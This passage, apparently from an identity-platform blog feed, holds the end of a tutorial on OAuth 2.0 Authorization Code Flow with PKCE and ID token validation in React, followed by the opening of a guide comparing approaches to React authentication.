<p><code>client_id</code> - The identity server uses this to recognize your application.</p>
</li>
<li class="">
<p><code>redirect_uri</code> - The URL the identity server sends the browser back to after authorization is complete. This is often called the <strong>callback URL</strong>.</p>
</li>
<li class="">
<p><code>state</code> - A random value your app creates before the flow starts. When the identity server sends it back, your app checks that it's the same value it started with. It protects against cross-site request forgery: without it, an attacker could trick a user into completing someone else's login flow.</p>
</li>
<li class="">
<p><code>nonce</code> - Another random value, but this one belongs to OpenID Connect. If the application sends a nonce with the authentication request, the identity server includes that same value in the ID token. The application can then check that the ID token belongs to the login attempt it started.</p>
</li>
</ul>
<p><img decoding="async" loading="lazy" alt="Authorization Code Flow with PKCE, full technical sequence diagram" src="https://wso2.com/identity-platform/learn/assets/images/2-9ed110f0c488a6b63a91f3e51cb57fb4.png" width="1776" height="2048" class="img_ev3q"></p>
<p>Let's slow things down and dissect the two most important requests in this flow.</p>
<p>First, the browser talks to the identity server to request an authorization code. Later, the application talks to the identity server again to exchange that code for tokens.</p>
<p><strong>I want an authorization code</strong></p>
<p>The user's browser, called the <strong>user agent</strong> in OAuth, sends this request to the identity server to formally kick off the flow.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">GET /authorize?</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  response_type=code</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  &amp;client_id=YOUR_CLIENT_ID</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  &amp;redirect_uri=https://app.example.com/callback</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  &amp;scope=openid profile</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  &amp;state=RANDOM_STATE</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  &amp;code_challenge=CODE_CHALLENGE</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  &amp;code_challenge_method=S256</span><br></span></code></pre></div></div>
<p>Let's map the concepts you already know to the actual parameter names in this request:</p>
<ul>
<li class="">
<p><code>response_type=code</code> - Tells the identity server that the application wants an authorization code back.</p>
</li>
<li class="">
<p><code>scope</code> - Describes the permissions the application is requesting. Including the <code>openid</code> scope turns the OAuth 2.0 request into an OpenID Connect authentication request.</p>
</li>
<li class="">
<p><code>code_challenge</code> - The PKCE challenge derived from the code verifier and sent with the authorization request.</p>
</li>
<li class="">
<p><code>code_challenge_method=S256</code> - Tells the identity server that the challenge was created using SHA-256.</p>
</li>
</ul>
<p>In plain terms, this request says, <em>Here's who I am, I want an authorization code, and when you're done, send it back to this URL</em>.</p>
<p><strong>I want my tokens</strong></p>
<p>Once the browser lands back on your redirect URI with the authorization code, the browser's part is done. The application takes over from here and calls the identity server directly, not through the browser, to exchange that code for tokens.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">POST /oauth2/token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Content-Type: application/x-www-form-urlencoded</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">grant_type=authorization_code&amp;code=AUTHORIZATION_CODE&amp;redirect_uri=https://app.example.com/callback&amp;client_id=YOUR_CLIENT_ID&amp;code_verifier=CODE_VERIFIER</span><br></span></code></pre></div></div>
<ul>
<li class="">
<p><code>grant_type</code> - Tells the identity server which OAuth grant the application is using to request tokens.</p>
</li>
<li class="">
<p><code>code_verifier</code> - The original random PKCE value the application created before starting the flow. It sends this now so the identity server can verify that the same app that started the authorization request is the one exchanging the code for tokens.</p>
</li>
</ul>
<p>If the code, the verifier, and everything else on the identity server's checklist line up, the response carries the tokens your application has been waiting for:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"access_token"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"ACCESS_TOKEN"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"id_token"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"ID_TOKEN"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"token_type"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"Bearer"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"expires_in"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token number" style="color:rgb(170, 9, 130)">3600</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<ul>
<li class=""><code>token_type</code> - Tells the application how the access token should be used when making API requests. A value of <code>Bearer</code> means the app sends the token as a bearer token, typically in the Authorization header: <code>Authorization: Bearer ACCESS_TOKEN</code>.</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="see-the-flow-in-your-own-react-app">See the flow in your own React app<a href="https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react#see-the-flow-in-your-own-react-app" class="hash-link" aria-label="Direct link to See the flow in your own React app" title="Direct link to See the flow in your own React app" translate="no">​</a></h2>
<p>If you've followed the Mastering React Auth tutorial, you already have a React app wired up with <code>&lt;AsgardeoProvider /&gt;</code> and <code>&lt;SignInButton /&gt;</code> from the <a href="https://www.npmjs.com/package/@asgardeo/react" target="_blank" rel="noopener noreferrer" class="">@asgardeo/react</a> OIDC React client. That's the entire OAuth2 React setup, in two components.</p>
<p>Let's use that same setup to watch this flow happen in your own application.</p>
<p>Open your app, open the browser devtools, switch to the <strong>Network</strong> tab, and filter requests by typing <code>authorize</code>. Now click the sign-in button.</p>
<p><img decoding="async" loading="lazy" alt="OIDC authorize request in the browser devtools network tab" src="https://wso2.com/identity-platform/learn/assets/images/3-3997ce5917d36a55218f152a5b6b2515.png" width="2048" height="648" class="img_ev3q"></p>
<p>Switching to the <strong>Payload</strong> tab breaks that same request down into its individual query string parameters, which is easier to read than parsing the raw URL:</p>
<p><img decoding="async" loading="lazy" alt="OIDC authorize request payload in the browser devtools network tab" src="https://wso2.com/identity-platform/learn/assets/images/4-e5a480a90fb8b730335ae7f20e9b9eb9.png" width="1116" height="586" class="img_ev3q"></p>
<p>You'll find every parameter we discussed appear in the request: <code>response_type=code</code>, <code>scope=openid profile</code>, <code>redirect_uri</code>, <code>code_challenge_method=S256</code>, and a <code>code_challenge</code> value. The SDK generated the code verifier, derived this challenge, and attached it here without you having to do any of the work.</p>
<p>After you complete the login form, filter the network tab by typing <code>token</code> instead. Click the request that fired right after you click sign in and switch to its <strong>Payload</strong> tab.</p>
<p><img decoding="async" loading="lazy" alt="Token exchange request payload in the browser devtools network tab" src="https://wso2.com/identity-platform/learn/assets/images/5-814053ab27f597b7302486745ec66e6f.png" width="2048" height="559" class="img_ev3q"></p>
<p>There it is: <code>grant_type=authorization_code</code>, the code from the redirect, and, critically, a <code>code_verifier</code> value, proving this is the same app instance that started the login.</p>
<p>Switch over to the <strong>Response</strong> tab on that same request, and you'll find what the application was waiting for:</p>
<p><img decoding="async" loading="lazy" alt="Token exchange response in the browser devtools network tab" src="https://wso2.com/identity-platform/learn/assets/images/6-facf71c2299a31c27f0cd78e8f7144fc.png" width="1486" height="332" class="img_ev3q"></p>
<p>The access token and ID token come back here, in the response body.</p>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>note</div><div class="admonitionContent_BuS1"><ul>
<li class="">You may see more than one token request in the filtered list. The SDK reuses the same token endpoint later on to silently renew tokens using the refresh token grant, which we will cover elsewhere.</li>
<li class="">You'll also notice a <code>refresh_token</code> in the response, which is exactly what the SDK uses for the silent renewal mentioned above.</li>
</ul></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="scopes-claims-and-the-userinfo-endpoint">Scopes, claims and the userinfo endpoint<a href="https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react#scopes-claims-and-the-userinfo-endpoint" class="hash-link" aria-label="Direct link to Scopes, claims and the userinfo endpoint" title="Direct link to Scopes, claims and the userinfo endpoint" translate="no">​</a></h3>
<p>We briefly touched on <strong>scopes</strong> earlier, but they deserve a little more attention because they show up in almost every OAuth and OpenID Connect request.</p>
<p>At a high level, a scope is a way for the client to say:</p>
<p><strong>"This is the access I'm asking for."</strong></p>
<p>For example:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">scope=openid profile email</span><br></span></code></pre></div></div>
<p>Each value adds something to the request.</p>
<ul>
<li class="">
<p><code>openid</code> tells the authorization server that this is an <strong>OpenID Connect</strong> request, not just a plain OAuth 2.0 authorization request.</p>
</li>
<li class="">
<p><code>profile</code> and <code>email</code> ask for access to related information about the user.</p>
</li>
</ul>
<p>In OpenID Connect, pieces of information about the user are represented as <strong>claims</strong>.</p>
<p>A claim is a name-value pair that describes something about the user or the authentication event. For example:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"name"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"Alex"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"email"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"alex@example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>Here, <code>name</code> and <code>email</code> are claims.</p>
<p>Depending on the provider and how it is configured, requested claims may be returned in the ID token or made available through the <strong>UserInfo endpoint</strong>, an OpenID Connect endpoint your application can call when it wants additional information about the signed-in user.</p>
<p>The application calls it using the access token it already has:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">GET /userinfo HTTP/1.1</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Host: identity.example.com</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Authorization: Bearer ACCESS_TOKEN</span><br></span></code></pre></div></div>
<p>The provider can then return claims associated with that user:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"sub"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"248289761001"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"name"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"Alex"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"email"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"alex@example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>So scopes describe what the client is asking for, while claims are the actual pieces of information returned about the user.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="validating-tokens-correctly-and-the-shortcuts-that-break">Validating tokens correctly, and the shortcuts that break<a href="https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react#validating-tokens-correctly-and-the-shortcuts-that-break" class="hash-link" aria-label="Direct link to Validating tokens correctly, and the shortcuts that break" title="Direct link to Validating tokens correctly, and the shortcuts that break" translate="no">​</a></h2>
<p>By the time your React application gets an ID token back, the job is not done. In order for the application to trust the received token, it needs answers for the following questions.</p>
<ul>
<li class=""><strong>Did this token come from the identity provider I trust?</strong></li>
<li class=""><strong>Was it actually issued for my application?</strong></li>
<li class=""><strong>Does it belong to the authentication request I started?</strong></li>
<li class=""><strong>Can I trust the contents inside it?</strong></li>
</ul>
<p>We already saw that the <code>aud</code> claim tells the client who the ID token was issued for.</p>
<p>Most of the time, it is straightforward:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"aud"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"react-client"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>If your client ID is <code>react-client</code>, that is exactly what you expect to see.</p>
<p>But OpenID Connect also allows an ID token to have more than one audience:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"aud"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">[</span><span class="token string" style="color:rgb(72, 118, 214)">"react-client"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"another-client"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">]</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"azp"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"react-client"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>When that happens, another claim can appear: <code>azp</code>, which stands for <strong>authorized party</strong>.</p>
<p><code>azp</code> identifies the client the token was issued to when there is more than one audience involved. So if <code>azp</code> is present, the client checks that it contains its own client ID.</p>
<p>Earlier in the authorization request, we introduced another random value called <code>nonce</code>. When the client sends a nonce with the OpenID Connect request, the identity provider includes that same value in the ID token. So the client can compare:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Authorization request</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  nonce = abc123</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">ID token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  nonce = abc123</span><br></span></code></pre></div></div>
<p>If the values match, the ID token belongs to the authentication request the client started. If they do not, the token should not be accepted.</p>
<p>There is one more part of ID token validation we have not really talked about yet: <strong>the signature.</strong></p>
<p>An ID token is normally represented as a <strong>JSON Web Token</strong>, or <strong>JWT</strong>. We do not need to go deep into JWTs here, but in short, the identity provider signs the ID token using a private key. The client can then verify that signature using the corresponding public key.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="a-valid-signature-is-not-the-end-of-validation">A valid signature is not the end of validation<a href="https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react#a-valid-signature-is-not-the-end-of-validation" class="hash-link" aria-label="Direct link to A valid signature is not the end of validation" title="Direct link to A valid signature is not the end of validation" translate="no">​</a></h3>
<p>This is where one of the easiest shortcuts appears.</p>
<p>Suppose the token has:</p>
<ul>
<li class="">✓ valid signature</li>
<li class="">✓ not expired</li>
<li class="">✗ wrong audience</li>
</ul>
<p>That token still needs to be rejected. Claims such as <code>iss</code>, <code>aud</code>, <code>exp</code>, and <code>nonce</code> answer different questions about whether that token is acceptable for this client and this login.</p>
<p>So far, we have been talking about ID tokens because the OIDC client consumes them. An access token could be an opaque value:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">2YotnFZFEjr1zCsicMWpAA</span><br></span></code></pre></div></div>
<p>There may be nothing useful for your React application to decode. The API may validate that token using a mechanism such as <strong>token introspection</strong>, depending on how the authorization server is configured.</p>
<p>In a production React application, a well-tested OIDC client normally handles ID token validation for you, while the API independently validates the access token it receives. The SDK removes a lot of protocol code from your application. The validation rules underneath it still remain the same.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://wso2.com/identity-platform/learn/oauth-oidc-pkce-for-react#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion" translate="no">​</a></h2>
<p>There you have it.</p>
<p>The Authorization Code Flow with PKCE looks complicated at first because a lot of small pieces move together: redirects, authorization codes, state, nonce, PKCE values, and finally the tokens themselves.</p>
<p>But each piece has a specific job.</p>
<p>The Authorization Code Flow keeps tokens out of the browser-facing authorization response.</p>
<p>PKCE makes sure that stealing the authorization code alone is not enough to exchange it for tokens.</p>
<p>OpenID Connect adds the identity layer on top of OAuth 2.0, giving the client an ID token and a standard way to work with user claims.</p>
<p>And once the tokens arrive, validation makes sure they came from the issuer you trust, were intended for the right client or API, and belong to the flow you actually started.</p>
<p>In a real React application, you normally do not want to implement all of this yourself. A well-tested OIDC SDK handles most of the protocol work for you.</p>
<p>But understanding what sits underneath the SDK changes how you debug authentication problems and how you reason about the security of the flow.</p>
<p>A <code>&lt;SignInButton /&gt;</code> may be all you write in React.</p>
<p>Behind it, there is a carefully coordinated protocol making sure the right user gets the right tokens, and that those tokens are only accepted where they are supposed to be.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[React Authentication: The Complete Guide]]></title>
            <link>https://wso2.com/identity-platform/learn/react-authentication</link>
            <guid>https://wso2.com/identity-platform/learn/react-authentication</guid>
            <pubDate>Tue, 01 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Learn how authentication works in a React app: OAuth 2.0 with PKCE, token storage, protected routes, and sessions, apply component-driven pattern with working WSO2 React SDK.]]></description>
            <content:encoded><![CDATA[<p>Most React authentication tutorials open by installing a package. That's the wrong first move, because the install command you run is the last decision in the chain, not the first. Before it you have to decide something more basic: who your app trusts to vouch for a user's identity, where the proof of that gets stored once you have it, what the browser is allowed to know, and which server actually enforces the answer. Later sections put names to these decisions, OAuth 2.0, OpenID Connect, PKCE, but the decisions themselves come first, and you can reason about all four before you know a single one of those names.</p>
<p>This guide is for React developers who want to understand that chain rather than copy it. We'll cover what frontend authentication actually means inside a single-page app, why React authentication differs from server-rendered login, the four real ways to get it, the sequence OAuth 2.0 and OpenID Connect now require, where tokens should live, and how to wire a working sign-in.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-authentication-actually-means-in-a-react-app">What "authentication" actually means in a React app<a href="https://wso2.com/identity-platform/learn/react-authentication#what-authentication-actually-means-in-a-react-app" class="hash-link" aria-label="Direct link to What &quot;authentication&quot; actually means in a React app" title="Direct link to What &quot;authentication&quot; actually means in a React app" translate="no">​</a></h2>
<p>Authentication is the process of proving who a user is. In a React application, that proof never happens in React, because React is a frontend library that runs entirely in the user's browser. The browser gets handed off to whoever is going to vouch for the user, call that party the identity provider, which might sit alongside your own backend or might be a separate identity service you don't run at all. That party checks the user's identity and hands back proof of it, calls that proof the credential, and only then does control return to your React code, which carries that credential to an API that decides what the user may do.</p>
<p>That distinction is the whole subject. Your React app bundle ships to the user's device, where they can read it, modify it, and run it under a debugger, so anything it contains is public and anything it decides can be overridden. The React app is not a security boundary. React user authentication is a client that requests proof from one server and presents it to another, and the honest way to read every code sample below is as user experience wrapped around a decision made somewhere else.</p>
<p>That framing also explains a class of bug that looks like a security hole and isn't. If you hide an admin button behind a role check and someone opens dev tools to un-hide it, nothing has been breached. The breach happens only if the API behind that button also trusts the client. That's worth pinning down precisely, since authentication and authorization get used almost interchangeably and they are not the same thing in a React app.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="authentication-vs-authorization-in-one-table">Authentication vs authorization in one table<a href="https://wso2.com/identity-platform/learn/react-authentication#authentication-vs-authorization-in-one-table" class="hash-link" aria-label="Direct link to Authentication vs authorization in one table" title="Direct link to Authentication vs authorization in one table" translate="no">​</a></h3>
<table><thead><tr><th></th><th>Authentication</th><th>Authorization</th></tr></thead><tbody><tr><td>Question answered</td><td>Who is this user?</td><td>What may this user do?</td></tr><tr><td>Produces</td><td>Proof of who someone is</td><td>A yes or no on one action</td></tr><tr><td>Standard involved</td><td>OpenID Connect</td><td>OAuth 2.0 scopes, plus your own policy</td></tr><tr><td>Where it runs</td><td>Identity provider</td><td>Resource server, your API</td></tr><tr><td>Safe to do in React?</td><td>No, delegate it</td><td>No, mirror it for UX only</td></tr></tbody></table>
<p>OpenID Connect answers the first question, OAuth 2.0 answers the second, and neither name needs more explanation yet. The row that matters is the last one. Both belong on a server, and both get mirrored into your React code so the interface makes sense.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-the-browser-can-and-cannot-be-trusted-with">What the browser can and cannot be trusted with<a href="https://wso2.com/identity-platform/learn/react-authentication#what-the-browser-can-and-cannot-be-trusted-with" class="hash-link" aria-label="Direct link to What the browser can and cannot be trusted with" title="Direct link to What the browser can and cannot be trusted with" translate="no">​</a></h3>
<p>The browser protects you in one direction only, and knowing which direction explains most of this guide. It does stop other websites from reading your page's data. What it cannot do is protect your page from code running inside your page. If an attacker gets a script onto your site, through a comment field, a dependency, or an ad, the browser treats that script as part of your page, so it can read anything your own code can read. That attack is called cross-site scripting, usually shortened to XSS.</p>
<p>Other sites, kept out but your own page, wide open. When you reach the argument later about where to keep a login token, that gap is the only reason the argument exists.</p>
<p>One consequence lands right away. A server-side application usually proves its identity to a login service with a password that belongs to the application itself rather than to any user, and that password stays safe because it never leaves the server. A React app cannot use one, because shipping it to the browser publishes it to everyone who loads your site. OAuth 2.0 has a name for applications in that position, public clients, and every browser app is one. It is also why the sign-in sequence in the next section carries an extra step that server-side apps skip. That step exists to replace the password your app cannot keep.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-four-options-and-when-each-is-wrong">The four options, and when each is wrong<a href="https://wso2.com/identity-platform/learn/react-authentication#the-four-options-and-when-each-is-wrong" class="hash-link" aria-label="Direct link to The four options, and when each is wrong" title="Direct link to The four options, and when each is wrong" translate="no">​</a></h2>
<p>Here's the gap in most of the guides on this topic: they teach one path. In practice there are four, and picking the wrong one costs more than a bad afternoon of coding. Each verdict below includes the case where it's the wrong answer, because that's the part vendors leave out.</p>
<ul>
<li class="">
<p><strong>Roll your own:</strong> You own a users table, hash passwords yourself, and issue your own sessions or tokens. This is fine for a prototype, a hackathon, or an internal tool with 12 users behind a VPN. Avoid it in production. Without realizing it, you end up designing, implementing, running, and maintaining an identity provider by yourself. The list of things you now maintain is longer than it looks: password reset, email verification, session revocation, account lockout, credential stuffing defense, audit logging, and eventually someone asking for single sign-on.</p>
</li>
<li class="">
<p><strong>A library:</strong> A React authentication library such as Auth.js or Better Auth runs inside your own application, with a backend component that handles the mechanics, without introducing a separate service. You keep your data and your deployment story stays simple. While this is lighter than rolling your own, you're still responsible for that backend component's updates and its security posture. It's the wrong answer when you need federation to enterprise identity providers, when compliance asks for an audit trail you didn't build, or when a second application needs to share the same login and the library only ever ran inside the first one.</p>
</li>
<li class="">
<p><strong>A self-hosted identity provider:</strong> Open source software such as WSO2 Identity Server and Keycloak, or their proprietary equivalents, gives you a full identity provider that you run yourself, speaking the same standards as any commercial service. You keep data residency and you can deploy anywhere, including networks with no internet access. Compared to the previous two options, you're still running and maintaining it, but you get more support from maintainers and vendors than a library gives you, especially around scaling, performance, compliance, and deployment artifacts. It's the wrong answer when nobody on your team wants to own upgrades, certificate rotation, and a pager alert at three in the morning, and it's an expensive answer if you pick it for a five-person side project.</p>
</li>
<li class="">
